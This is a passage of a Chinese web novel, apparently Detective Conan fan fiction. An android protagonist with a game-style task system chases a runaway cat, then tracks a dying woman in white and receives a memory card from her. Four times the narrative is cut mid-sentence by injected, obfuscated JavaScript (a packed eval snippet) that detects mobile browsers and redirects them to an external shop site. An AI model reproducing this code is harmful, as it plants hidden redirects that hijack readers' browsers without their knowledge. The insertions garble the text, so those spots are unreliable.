充分发挥出了能单手甩狙巴特雷的力量，知原知也单手轻轻松松托着一只23斤的超级大胖猫，勤勤恳恳继续充当猫咪小姐的全自动人形痒痒挠。 ……完全看不出才刚出院没多久的样子呢，脆皮病号先生。 松田阵平和萩原研二对视一眼，表情微妙。 倒是诸伏景光，思考片刻后，十分赞同地点了点头。 “知原君说的没错。命名通常象征着认可、象征着期许，同时也意味着双方命运从此荣辱与共，命名是一件非常严肃和郑重的事，所以需要特别谨慎。” 顿了顿，他很快又补充：“在没有做好准备负担另一个生命接下来的全部命运之前，最好不要草率地结缘，然后给对方赋予新的名字，否则就是不负责任的表现。” 一旁的降谷零闻言，眨眨眼，半开玩笑地说：“是这样吗？所以，小的时候，hiro也是经过一番负责任的思考，在确定自己有能力为我们的友谊遮风挡雨之后，这才选择和我结缘、成为朋友的吗？” “差不多吧。” 诸伏景光略微沉吟，蓝灰色的猫眼里闪过一抹笑意，随后一本正经道：“不过我觉得，我只需要为我们的友谊挡一半的雨——剩下的一半，理应由这段友情的另一位参与者来努力，不是吗？” “……” 一怔过后，降谷零忍不住失笑，“好吧，不愧是hiro。就算是这样无厘头的对白，回答也能做到滴水不漏。” 话音落地，这对幼驯染极有默契，相视一笑。 …… 另一边。 抓猫小组中的另一对幼驯染，被迫前排围观了这个挚友情深的肉麻场面。 由于隔壁气氛实在太好，萩原研二一时没忍住，伸出手，用胳膊肘轻轻拐了拐身旁的人：“哎，小阵平——你能不能给我表演一下那个？” 松田阵平不甘示弱，用力拐回去：“什么？” 于是，萩原研二当即清了清嗓子，嗓音一夹，用某种能让听众浑身汗毛直竖的做作声音，细声细气道：“就是那个啊——小阵平，你能不能再给我讲一遍，你是怎么从那么多小朋友里，唯独选中我成为朋友的故事呀~” 松田阵平：“……” 松田阵平：“…………” 魔性的夹子音，瞬间就让松田阵平当场鸡皮疙瘩掉了一地。 在旁边知原知也和伊达航欲言又止的目光注视下，松田阵平狞笑一声，当即抬手，毫不犹豫地一记重拳“绑”地砸在冤种幼驯染脑瓜顶上：“给我把舌头捋直了再说话啊，混蛋hagi！” “呜、被小阵平打成脑震荡了！研二酱的头好痛，下一次的理论课要用的笔记需要小阵平帮忙抄才能好——” “哈？你怎么不干脆说下个月考核也让我替你考了？” “可以吗？那真是太好了！谢谢你小阵平，你一定是世界上最温柔最善良最帅气的小伙伴！研二酱超——爱你的！” “滚啊你！恶不恶心啊！！！” “……” “……” 战火迅速被点燃。 知原知也迟疑地看着身边这对已然开始互扯头花、扯着衣领彼此互相伤害的幼驯染，又看看不远处亲亲密密你侬我侬的另一对幼驯染，犹豫片刻，问身边的伊达航： “他们这样……没问题吗？” 真的不需要劝一下架吗？ 虽然造成的真实伤害并不大，但就这么放任他们在人来人往的街道上打起来什么的…… 路过的好多人类都露出了奇怪的表情看向这里哎！ 面对小伙伴的忧虑，伊达航表现出了老艺术家一般的从容和淡定，叼着牙签，老神在在：“放心，松田和萩原有分寸的。他们两个感情很好的，一会儿就消停了。” 感情好…… 吗？ 看着已经掐着萩原研二的衣领拎起来、恶狠狠前后摇晃的松田阵平，知原知也默然一瞬，默默地、默默地收紧了自己圈住猫咪小姐的手臂。 人类的情感，好复杂…… …… 日落之后，街上行人渐渐多了起来。 和一群说说笑笑的年轻人类擦肩而过的瞬间，知原知也忽然抬起手，像是在眨眼间完成了一次精密的抛物线计算，眼都没抬，掌心在下一秒，就无比精准地接住了一枚朝着他们的头部抛飞过来的棒球。 砰——！ 棒球撞在手心，传出一声沉闷的响声。 “！！” 擦肩而过、差点被棒球当场爆头的年轻人类惊呆了。 他的同伴们也在短暂震惊过后，飞快露出一副星星眼，超级崇拜地看着举手投足间轻描淡写为他们化解了一次危机的蓝发异瞳冷脸机车服帅哥，小小声“哇”了一下。 很快，一个头戴棒球帽的人类幼年体匆匆忙忙从隔壁不远处的小公园草坪上跑了过来。 知原知也将棒球还给他，得到了小朋友一句真心实意的“谢谢大哥哥，你好厉害，长得也好看！”的夸奖。 知原知也面色不变，那张没有表情时看上去格外冷漠的优越建模脸微微垂下，低头看着小孩。 一秒。 两秒。 三秒。 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618201|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩一瘪嘴，哭着跑走了。 知原知也：“……” 被知原知原拦住棒球、导致免受无妄之灾的一行年轻人类：“噗……” 在一旁前排围观了新朋友光天化日之下吓哭小孩的五个高质量人类：“哈哈哈哈哈哈哈哈哈哈哈哈哈！！！！” 知原知也面无表情，抱着猫，高冷地接受了年轻人类的致谢，高冷地和年轻人类们错身而过，高冷地路过刚才哭着跑走的小孩先前打球的小公园。 不知道是不是错觉。 萩原研二挠了挠脸侧，总觉得幻视新朋友的头顶，好像有什么东西，正缓缓地一点一点垂落下去…… 奇怪。 是什么呢……？ 正在出神之际，很突然地，萩原研二忽然听见耳边传来一阵惊呼声。 接着，他眼角的余光就看见，一道熟悉的圆滚滚的黑影猛的从半空一跃而下，钻进草丛中捣鼓一阵后，嘴里叼着一块白色碎布钻出草丛，轻轻吐在了知原知也的面前。 紧接着，黑影低头嗅了嗅地面，片刻后忽然一甩尾巴，朝着前方不远处的一条小路飞奔了过去。 “……哎？” 萩原研二愣住，连忙回头去看知原知也。不出意料，知原知也的怀里此刻已经空空如也。 突如其来的变故令几人都有些措手不及。 但，很快。 等几人反应过来之后，当即不由分说地拽上某个呆卡萌小伙伴，拖着人，再一次像是放风筝一样，飞奔在了东京的街头上。 …… 与此同时。 知原知也听见自己的脑海里探出一道冰冷的机械音。 【滴！扫描结束！发现特殊物品——「破碎的一角白裙」】 【物品提示】：熟悉的白色布料，让你很快回想起某个消失在案发现场的女人。破碎的白色裙角出现在这里，那么，白裙的主人又去了哪里呢？ 【叮咚！您触发了一个随机任务！请尽快完成任务、领取奖励吧！】 【和朋友们一起散步溜猫的时候，你的猫发现了一块纯白色的破碎布料。看着这块缓缓飘落在你面前的白色布料，你决定—— A、捡起它、展开它、抻平它，将它盖在自己头上，然后双手合十，安详躺下，原地睡觉。 B、白布？什么白布？这不是■皇传位圣旨吗？！■皇轮流做，今天到我家！天不生我知原知也，霓虹万古如长夜！（阳光地举起白布）（阳光地迎风奔跑）（阳光地冲进皇居，踹开■皇自立为王） C、取出自己的手机，打开简讯界面，找到默认联系人一，输入“老鼠的味道，我闻到了”并发送。】 知原知也：“……” 自己以前引导过的玩家们，原来每天都在完成这样抽象的任务、做这样堪称精神攻击的迷惑选择题吗……？ ……真是辛苦了，玩家们。 18.隐藏任务 脑海中各种想法一闪而过，知原知也经过0.01秒的运算，迅速做出了自己的选择。 两秒后，他收起手机。 三秒后，他捡起了地上那片白色裙角，揣进包里。 五秒后…… 一位智能体原地起飞，被五个体质堪比大猩猩的恐怖人类拽着手腕，低空拖行，脚不点地迅速朝猫咪小姐消失的方向追去。 …… …… 猫咪小姐的速度非常快。 猫咪小姐圆滚滚、肥嘟嘟的身材，在平时看上去显得笨拙可爱，却在这个时候，爆发出了令身后追逐着她的人类们难以想象的灵敏与速度。 嗖——！ 她追逐着空气中残存的气味，仿佛飞鸟掠水，脚不沾地般迅速掠过小路。 腰肢一扭，一辆猫托车无比灵巧地从无数绿色钢丝拉出的隔离网缝隙中钻过，凌空起跳，相当利落地一跃而入，窜进了小路尽头的公园里，紧接着，便迅速消失得无影无踪。 巧的是，猫咪小姐闯入的公园，恰好就是那个被知原知也的冷脸吓哭的小孩，之前正在打棒球的公园。 …… “呼呼……” 一路追着猫咪小姐的残影飞奔到此的五名人类，终于是停下了脚步，一个个撑着膝盖，有些急促地喘息着。 “呼呼……猫是不是钻进铁丝网里面了？呼……” 松田阵平仔细观察了一下铁丝网，发现被网格拦在里面的，是一块齐膝深的茂密绿茵地。 ——猫咪小姐最后消失的位置，就是这块绿茵地。 降谷零四处张望了一下，快速道：“附近没有可供游客通行的门。要想进去的话，只能翻越围栏了。” 伊达航和萩原研二彼此对视一眼，很默契地开始撸袖子。 反倒是诸伏景光，目光扫过一行人后，忽然微微愣了一下：“知原君呢？没跟过来吗？” 刚才一时追猫心急，没顾得上身边的人。直到此刻停下脚步，诸伏景光这才惊讶地发现——那个不被cue时总是沉默、存在感又总是很微弱的小伙伴，突然不见了！ “……” “……” 五人面面相觑。 往后撸了一把被汗湿的半长发，萩原研二举起手：“猫咪小姐突然跑掉的时候，我有拉着知原一起追……” 看了看萩原研二和松田阵平之间空荡荡的空隙，又看了看自己和hiro身边同样空无一人，降谷零沉默一瞬，礼貌提问： “所以……人呢？” ——那么大一只小伙伴，怎么就突然悄无声息消失了？ 萩原研二茫然挠头：“不知道哎，我没注意……好像跑着跑着就不见了……” 不知道是因为心虚还是别的什么，萩原研二说话的声音越来越小，直到后面说道知原知也人“不见了”的时候，声音已经微弱到接近气音了。 深紫色的眼底飞快闪过一抹愧疚，萩原研二有些担心：“会不会是我们跑太快，知原没跟上，被落在后面了？” “有可能。”诸伏景光肯定了这个猜测。 他们几个毕竟是经历过专业训练的警校生，身体素质比起普通市民的知原知也来说，应该强上不少。 知原知也一时没跟上掉队，也是正常事。 “那，要回去接人吗？”伊达航看了眼天色，提议，“光线越来越暗了，知原君说不定会因为找不见我们而迷路。我们要不要回去接应一下？” 五人彼此对视。 松田阵平略微迟疑：“不了吧？我们现在的当务之急，是先找到那只到处乱跑的邪恶三花——知原那么大一个人了，总不至于真走丢了吧？” 顿了顿，他又补充：“就算真走丢了，他也知道找人问路或者报警寻求帮助。反倒是那只肥猫，真要是跑丢了的话，知原那家伙说不定会蒙在被窝里、悄悄哭上个几天几夜呢！” “……言之有理。” “以知原对猫咪小姐的重视程度……小阵平你想象的画面，说不定真有可能会发生啊！” “那先找猫？找到之后给知原君打个电话，让他过来接猫，或者我们给他送回家也行？反正明天周末，没什么要紧事要做。” “可以。” 全票通过。 于是五人面对网眼稀疏的铁丝围栏，纷纷摩拳擦掌，灵活运用警校体训课上学到的障碍物翻越技能，找准落脚点一蹬一翻，三下五除二，直接跳过了铁丝网。 齐膝深的草地落脚绵软。 一个前滚翻卸力后，五人寻着草丛里被某只半挂趟开的一条小径，目标明确地追了上去。 …… …… 另一边。 还不知道自己已经被人类确诊为掉队迷路的知原知也，此刻，正伴随着脑海中不断刷新的提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624076|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示音，踏上了与五名重要npc截然不同的路线。 道路两边景色不断变换。 【叮咚！亲爱的玩家，检测到您已做出选择，完成随机任务并获取关键道具——「破碎的一角白裙」，现触发后续隐藏支线任务——「喜·滋长」】 【任务描述】：生与死的边沿，黑与白间挣扎，被压抑的情感早已悄无声息滋长。爱人的死，终于让摇摆不定的她迈出了最后一步——去见她吧，带回那枚不该存在而存在的薛定谔的记忆卡！我保证，那会是你最想要得到的东西！ 【温馨提示：请注意！隐藏任务无法放弃，任务失败立即扣除10％能源，且永久销毁任务奖励—「薛定谔的记忆卡」！完成该支线任务后，奖励将统一发放，请玩家注意查收！】 记忆卡…… 记忆库的数据快速滚动，知原知也很快翻找出一条系统日志——一个月前的某个夜晚，在自己被一个红衣男人劫持的时候，扫描模板曾经在一个白裙女人的身上，自动扫描到一件名为「薛定谔的记忆卡」的物品。 所以，自己现在接到的任务，是要从对方手里拿回那枚记忆卡么…… 看了一眼支线任务后方那行血红的、写着【隐藏任务无法放弃】的温馨提示，再看看自己目前所剩无几的能源，知原知也沉默了。 血红的隐藏任务倒计时开始流动。 已经没有时间犹豫了。 夜色里，知原知也快速辨认了一下方向，然后朝着树林更深处飞奔。 高速移动带起的风吹过脸颊。 蓦地，知原知也的脑海中，突然响起了一道突兀的提示音—— 【滴！扫描结束！发现特殊物品——「新鲜的血迹」】 【物品提示】：新鲜的血，触摸时还带着温度。按照幼年体人类工藤新一的说法，这是刚离开人体不久的迹象。或许你要找的人就在不久前来过这里？ “……” 飞奔的脚步一顿，知原知也低下头，在身侧一处粗糙的树干上，发现一抹鲜红的血迹。 是血…… 指尖轻轻沾起一点血迹，知原知也将血凑到鼻尖，仔细闻了闻。 ——熟悉的气息。 和猫咪小姐找到的那块白裙碎片上残留的一致。 将这一小滴鲜血随手抹去，知原知也快速分辨了一下方向，沿着大脑中分析出的路线图，再次追踪而去。 19.夜色追踪 五分钟后。 【滴！扫描结束！发现特殊物品——「一具新鲜的男尸】 【物品提示】：一具颅脑中弹的倒霉蛋的尸体，凶器来自一支TT-33。没错，就像你看到的这样——有人在这里开枪，用TT-33击中了死者，然后逃离了案发现场。也许你可以报警？不过我劝你最好先别这么做。 远远望见一团不寻常的黑影仰面躺倒在地，知原知也反应很快，立刻刹住脚步，在脑海中喋喋不休的电子提示音做背景音下，缓缓靠近。 半蹲下身，他快速检查了一遍横亘在面前的这具尸体。 男，37岁，寸头黑衣，致命伤在额头，前额有一处子弹贯穿后留下的血洞；身材中等，身高较矮，有训练痕迹；面部五官正常，无特征点；死前身体状况良好，无残疾，无病变；随身物品为一部手机，一支手/枪，一把匕首，半盒香烟，以及一双崭新的毛线手套，疑似抛尸专用。 尸体整体呈现仰卧位，体表发现大量汗液，右手紧握枪支，尸温尚在，尸僵尸斑尚未形成，推测死亡时间不超过30分钟。 根据尸体状况，知原知也很快得出一个结论——一个普通的中年男性杀手，疑似在30分钟前持枪追赶他人，在遭到对方反击后，被射杀，弃尸于此。 知原知也站起身，抹去指尖沾染到的灰尘与鲜血混合物。 回想起自动扫描功能区的提示音内容，知原知也犹豫一瞬，没急着报警，只扫除了自己的痕迹后，立刻起身，继续向前追去。 半分钟后。 【滴！扫描结束！发现特殊物品——「掉落的空弹壳」】 【物品提示】：一枚来自TT-33的空弹壳。TT-33，一种半自动手/枪，也被叫做托卡列夫手/枪，原产自苏联，便宜好用是它最大的特点，相信一些地下黑/帮也这么认为。 天光此刻已然昏暗。 知原知也透明的左眼快速闪过一抹红光，在距离尸体不足50米的杂乱的泥土地上，搜索到一枚黄铜色的空弹壳。 与此同时，被知原知也随意放置在上衣口袋里的手机，忽然开始疯狂震动了起来！ 滋滋滋——！！ 滋滋滋滋滋滋滋——！！！！！！ 想了想，知原知也没理会手机，随手关机后，弯腰，将这枚空弹壳捡了起来，顺手将其和手机一起揣进了机车服外套的口袋里…… 然后继续向前。 …… 一路走来，知原知也总共发现了11处血迹，3具尸体，5枚空弹壳。 血迹不出意外，来自白裙的主人。而3具尸体，则都在春末夏初的季节里，统一穿着厚重的黑色及膝大衣，手持凶器，疑似生前正在追杀着什么人。 自动扫描功能区激活后自动生成的周边地形图，被知原知也用右眼投影在面前。 知原知也看了眼地图，发现前方距离自己不足200米的地方，就有一处废弃的工地。 血迹延伸的方向恰好指向那里。 如果知原知也的数据运算没有错的话，血迹的主人，不出意外，应该就是被那三个黑衣男人追杀的目标——也即猫咪小姐发现的那片白色裙角的主人。 哒…… 哒…… 鞋底在粗糙砂石上踩过，发出窸窸窣窣的声响。 进入废弃工地后，知原知也仔细观察着周围地形，很快，就将目光落在了工地中央那栋初具雏形的废楼之处。 废弃楼房只修了三层，总高度不超过10米。 按照自己的追踪速度、以及被发现的尸体与血迹留存程度来看，目标逃进这里，应该不超过20分钟。 哒…… 哒…… 知原知也慢慢靠近那栋在夜色下孤零零的废楼。 就在他即将跨入废楼一楼的一瞬间，知原知也的脑海中，警铃声猛然大作！ ——危险！！ 毫不犹豫地，知原知也脚尖一点地面，高大的身躯瞬间展现出惊人的爆发力，身形一晃，化作一道残影，迅速闪进了一楼门口的一处墙角掩体后！ 噗——！！ 就在知原知也离开后的下一秒。 带有消音器的微弱枪声响起，知原知也看到，自己先前停留过的大楼门口位置，多出了一个小小的弹坑。 7。 知原知也默数。 ——算上先前那6枚空弹壳，这已经是目标开出的第7枪了。 而，根据数据库资料显示，排除掉对方有替换弹匣的情况下，托卡列夫这种枪，额定弹容量为8发。 浓烈的血腥味扑鼻而来。 黑暗中，似乎隐隐有陌生的喘息声响起。 知原知也抬眼，目光在废一楼陈设和布局上快速一扫而过，最终，定格在西北角一处无门的小房间处。 ——那里，血腥味最浓。 “对方还有一枚子弹……” 废楼外。 看了一眼自己显示为【能源剩余—0.15％】的提示，知原知也遗憾地叹了口气，不得不放弃可能令机体受损的强攻选项。 别问，问就是能源储存量过低，已经快要修不起自己了…… 如果不想就地关机的话，在隐藏任务完成、能源奖励到账之前，知原知也最好保证自己一枚零件都不会被损坏。 …… 此刻，知原知也所在的掩体，与血腥味来源的小房间的直线距离不超过20米。 在这个距离下，性能极佳的托卡列夫绝对能发挥出最强实力。 短暂思忖。 片刻过后，知原知也悄无声息地伸手进衣兜，随意摸出一个什么东西后，指节伸进拉环，轻轻一勾。 咔咔！ 拉环被拔掉的清脆金属声响起。 知原知也在心里默数两秒。 紧接着，快速计算了下方向和距离后，知原知也振臂一挥，顺着窗口，毫不犹豫地将手里捏着的东西，精准抛掷进了那间狭小且无门窗的小房间里！ 嗖——

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627416|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 金属物在黑暗中划出一道抛物线。 叮！ 紧接着，小房间里传来一声无比清脆的金属落地声，以及女人愤怒咒骂的声音。 “——靠！你他妈的不要命了？！这么近的距离也敢捏雷？！” 急促沉重的脚步声响起，紧接着是重物落地声。似乎有人在仓促中翻出小房间，朝着远离引爆点的位置快速规避。 黑暗中，知原知也听着那道慌乱的脚步声，默默站起身，脚下微挪两步。 下一秒…… 砰——！！！！ 一道白影迎面而来，在毫无知觉的情况下，一头撞在了不知何时拦截在自己逃亡路线上的知原知也身上！ 知原知也的反应极快。 在撞击发生过后，几乎就在白影抬起枪口的同时，他便同时动手，一手捏住对方小臂、一手握住对方持枪的右手，手腕一错，猛然用力！ 咯嘣！ 骨骼错位的声音，在黑暗中骤然响起！ 剧痛袭来，白影一声痛哼，右腕顿时失去控制，紧握在掌心的手/枪登时脱手坠地！ 但她反应也极快。 配枪脱手的瞬间，她快速抬腿，一记力道狠辣的膝顶重重向前送出，紧接着左手一撩裙摆，从大腿外侧快速抽出一把精致小巧的匕首。 呼—— 刀刃破空袭来。 望着距离自己面门越来越近的刀尖，知原知也站在原地，只短暂犹豫了0.01秒后，快速抬手，如法炮制，再次卸掉了对方剩下的四肢关节。 咔咔咔…… 令人毛骨悚然的筋骨错位声，接二连三在黑夜中响起。 …… 太快了。 一切都发生得太快了。 从知原知也“捏雷”，到白影突围反击，再到白影被卸掉四肢关节、被人小心翼翼靠墙依靠在废一楼破墙上…… 一切都发生在电光火石间。 “……” “……” 知原知也沉默地看着面前这个眼熟的，满脸冷汗、白裙染血的女性人类，犹豫片刻后，诚恳认错。 “……抱歉，有理酱。我不是故意弄伤你的。” ——知原知也还记得，一个月前，那个用刀挟持了自己、最后自戕身亡的红衣男人，就是这样称呼面前这个女性人类的。 被称作有理酱的女人一声冷笑。 “别那样叫我、咳，惺惺作态……！你抓到我了……现在可以用我的脑袋，去向那家伙领赏了……” 知原知也：“……？” 知原知也困惑地看着她，似乎不知道对方在说什么。 对上知原知也茫然的目光，有理似乎也愣了一下。 用手腕勉强按压住自己胸前正汩汩冒血的伤口，她借着楼外渗透进来的黯淡月光，有些吃力地上下打量起眼前的人。 片刻后。 咽下一口涌上喉管的血，有理咳嗽两声，再次冷笑：“耍我……有意思吗……” 20.喜·滋长 知原知也看着她，透明的左眼红光微闪。 肺部出现漏气声，呼吸急促，口唇发绀，面色苍白，四肢湿冷…… 中控芯片快速运转，知原知也搜索数据库，很快确定这是典型的开放性气胸症状。 他的目光落向对方的上半身。 一个月前，这条知原知也曾经见过的、飘逸柔美的纯白色连衣裙，此刻已经处处破损，遍染血迹……这其中，显然又以对方左胸前那片几乎已经将白裙浸透的血迹最为明显。 ——显然，伤口就在这里。 迟疑间，知原知也听见有理音量微弱、却气势不减的声音：“喂，你刚才……咳、刚才扔的雷……为什么还没炸……？” 知原知也：“……” 知原知也：“…………” 沉默片刻，知原知也默默地，从上衣口袋里摸出两枚金属制的圆桶，沉默递给对方。 有理垂眼一看，胸口顿时激烈起伏，险些被当场气昏过去！ ——在她手心里躺着的，赫然是两枚日期新鲜、且尚未开封过的猫罐头！ 有理出离地愤怒了。 ——所以，这个该死的混蛋刚才诈自己时拉的手雷保险环，该不会就是猫罐头的金属拉环吧？！ 天杀的！！ 电信诈/骗滚出日本啊！！！！ 在对方恶狠狠的目光注视下，知原知也有些心虚地缩了缩指尖，躲躲闪闪将两枚还没开封的猫罐头收回了口袋里。 这是猫咪小姐今天的晚餐，不可以弄丢了…… 等到终于将罐头小心翼翼收回口袋里后，知原知也微不可察的松了口气。 歪头打量面前这个生命值仅剩最后1％的人类片刻，知原知也想了想，友善地提醒：“你好像快死了。” 有理：“……” 她没好气地瞪了知原知也一眼：“我知道……咳咳咳。” 持续一个月的追杀，早已令她遍体鳞伤，疲惫不堪。 而，最要命的是——就在不久前的一次追杀和反追杀中，一枚流弹，就那么恰好，一寸不差地穿透了她的肺部。 ——自己就快要死了。 血液已经渐渐涌入了气管，就算她及时对伤口进行了加压和放气处理，也无济于事。 有理开始感觉到呼吸困难。 血氧和血压的逐步下降，令她感觉到一阵阵的头晕目眩。 “没想到……我的路、最后就只走到这……” 倚靠在破败的废楼墙体上，有理手臂颤抖着，用刚被知原知也接上的右手，吃力按住左胸的伤口。 面对近在咫尺的死亡，她的情绪，意外的没有恐惧，亦或是愤怒。 遍体鳞伤、面色苍白的女人，只是很平静地侧过头，看向身边那缕顺着废楼破损处渗透进来的月光，眼神一寸一寸柔和下来，不知在想些什么。 “……” “……” 望着对方现在的神情，知原知也直觉自己此刻应该保持沉默，不去打扰对方。 但…… 隐藏任务后面不断减少的倒计时数字，却让他不得不出声打破此刻的宁静。 “抱歉打扰一下，有理女士。” 知原知也说：“我今夜来此，主要是为了……” “——你知道……‘爱’是什么吗……？” 未尽的话语被打断。 知原知也一顿，芯片高速运转片刻后，摇了摇头。 有理染血的唇角微微翘了翘，眼底似乎有嘲讽一闪即逝：“你不懂啊……咳。也难怪，你这样的怪物，怎么会懂什么是爱呢？……” “我——” 顿了顿，鲜血从她口腔中呛出，她抹了一下唇角，很快又问：“……那你知道，什么是快乐吗？” 话刚起头就再次被打断，知原知也蔚蓝色右眼闪了闪，似乎有荧蓝色的微光从眼底划过。 他像是在思考。 短暂沉默后，对于有理提出的第二个问题，知原知也很快给出了自己的答案： “——快乐就是，我在抚摸猫咪小姐皮毛的时候。” “……” 有理因为伤重而无力半眯起的眼，忽然有些吃力地撑开。她看了看知原知也鼓鼓囊囊的机车服口袋，很快回想起了那枚被自己误认为手雷的猫罐头。 她看着知原知也的脸。 “它找到你了啊……” “她捡到了我。” “嗯。咳咳咳……”有理再次开始咳嗽，猩红的血几乎将她伤痕累累的身体全部覆盖、然后淹没。 ——她伤得很重，肺部被流弹贯穿，开了个大洞，每一次呼吸都伴随着像是猫咪小姐在打呼噜的异响，不断有血沫混着气泡，从她残破的肺部汩汩涌出。 她快死了，气息逐渐变轻，心跳也逐渐变弱。 但她还在笑。 黯淡失色的瞳孔深处，有一抹细碎的光，伴随她断断续续的说话声，轻轻闪烁。 有理说：“恭喜你啊，你理解了快乐……虽然只有十分之一不到。” “谢谢你。” “那么……你想知道我是怎么理解快乐、怎么理解爱的吗？……” 知原知也想了想，认真道：“我不理解什么是爱。如果你愿意教，我会认真倾听的。” 有理看着知原知也，慢吞吞地笑了一下，黯淡无光的眼神逐渐变得空远。 她缓缓开口。 “我和晴人第一次见的时候……是我刚执行完任务，杀了一个企图用自己手里掌握的一份名单威胁组织的人。咳……” “那时候，我浑身是血……藏在怀里的枪口依旧散发着高温，烫伤了我的皮肤……” “咳咳……我就是在那个时候遇见他的。” “不像是现在流行的肥皂剧里描写的杀手受伤落难、被普通人发现并救赎的俗套剧情……我遇到他的时候、咳，他很狼狈，浑身脏兮兮的，头发还在滴滴答答往下滴着水，一副刚从水里被捞起来的样子……” “他问我是谁，在这里做什么……” “我告诉他我是来杀人的。他听到这里，忽然就大笑了起来，然后很高兴地和我说‘太好了，我刚好不想活了，你杀了我、然后拿我去向你的上司交差吧！’……” “他没有发现我鞋子上沾染的血迹，也没有注意到我身后熊熊燃烧的房屋……” “……很蠢很可笑是不是？”有理咳了咳，呛出一口血，笑着问知原知也，“但他就是这样一个窝囊的男人。虽然并不伟岸高大，但却也并不猥琐卑劣。” “我在他最落魄的时候遇到他，因为一念之差放过了他……又在那之后，因为一念之差，爱上了他……咳。” “我们在摩天轮最高处拥吻，在夜晚的东京街头牵着手一起散步。他会在我外出执行任务时为我检查弹匣，也会在我回来的时候为我递上一条热毛巾，笑着说欢迎回家……我们在一起度过了最快乐的五年时光……” “——你真的感觉到快乐吗？” 知原知也忽然出声，打断了她的话。 似乎没想到知原知也会突然问自己这样的一个问题，有理愣了愣后，咽下一口血沫，说：“……当然。” “那你们为什么要分开呢？”知原知也困惑道，“——那个时候，我听见你对晴人说，你们已经分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636000|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手了。” 有理没有回答这个问题。 她只是用那双黯淡的、复杂的、汹涌的眼看着知原知也，眼底盛满了知原知也看不懂的情绪。 片刻后，有理哑声问：“你来找我，也是为了那枚记忆卡……是不是？” 血红的隐藏任务倒计时还在继续。 知原知也很难昧着良心撒谎说不是。 他垂下眼，面无表情地点了点头。 有理于是也跟着点头，笑了一下，目光从知原知也鼓鼓囊囊的机车服口袋处一扫而过：“如果有一天，你、咳咳，你的猫，因为你的关系而被人杀死……你会怎么做呢？” “你的假设不成立，有理女士。”知原知也说，并不生气，语气平淡得像是在说今天天气真不错，“不会有那种事情发生的。我会保护好她。” “如果你保护不了呢？” “不会的……” 顿了顿后，知原知也补充：“只要猫咪小姐不愿意，谁也不能把我们分开。” ——哪怕说着温情的话语，他那一贯冰冷空洞的语气，也没有丝毫的软化。 “就算是死亡？” “就算是死亡。” “……”有理的眼睛，伴随知原知也话音落地，忽然微不可察地闪了闪。 她看着知原知也，漆黑黯淡的眼眸里，清晰倒映出一张蔓延着数道淡蓝色折线的，苍白的、俊美的、没有丝毫情感波动的，令自己熟悉而又陌生的脸。 那是…… “……知原知也，”越来越多的血涌入肺部，有理的呼吸忽然急促起来，嘴唇因为缺氧而开始发绀变紫，说话声音也因为血泡翻涌而模糊，时断时续，“你变了很多……咳咳咳、！” “如果是现在的你……也许、值得我把这个东西……交给你……” 有理抬起手，在知原知也吃惊的目光注视下，将指尖一点一点艰难凑近自己的腹腔。 然后…… ——鲜血迸溅，她用自己锐利的指甲，沉稳地、平静地，刺入了腹腔的一处血肉模糊的伤口中！ 手指在伤口中翻搅、摸索。 片刻后，有理从自己腹腔的伤口里，挖出了一枚指甲盖大小的黑色物品。 “给……” 冰冷滑腻的鲜血滴落在掌心，知原知也接过那枚黑色的物品，在自己的袖口随意蹭去其上血迹。 与此同时。 几乎在物品到手的同一时刻，数道冰冷的机械音，猛然在知原知也脑海中炸响—— 【滴！扫描结束！发现物品——「薛定谔的记忆卡」】 【物品提示】：一枚不应该出现却出现了的记忆卡，里面似乎储存了某些十分重要的资料，但因为其主人摇摆不定的态度，在完全得到它之前，没有人能断言它是否真正存在过。想要得到它，就需要通过一场记忆卡主人为你准备的、命名为“爱”的试炼。你准备好了吗？ 【叮咚！恭喜您获取关键道具，完美完成了隐藏支线任务—「喜·滋长」！任务奖励——「能源—5％」已发放至邮箱，请查收！】 【任务描述：你得到了它，在它被主人摧毁或者寄出之前。感到庆幸吧，未来的你一定会感激现在的你，在你意识到它储存的内容究竟意味着什么时候……以及，现在你可以报警了。】 知原知也：“……” 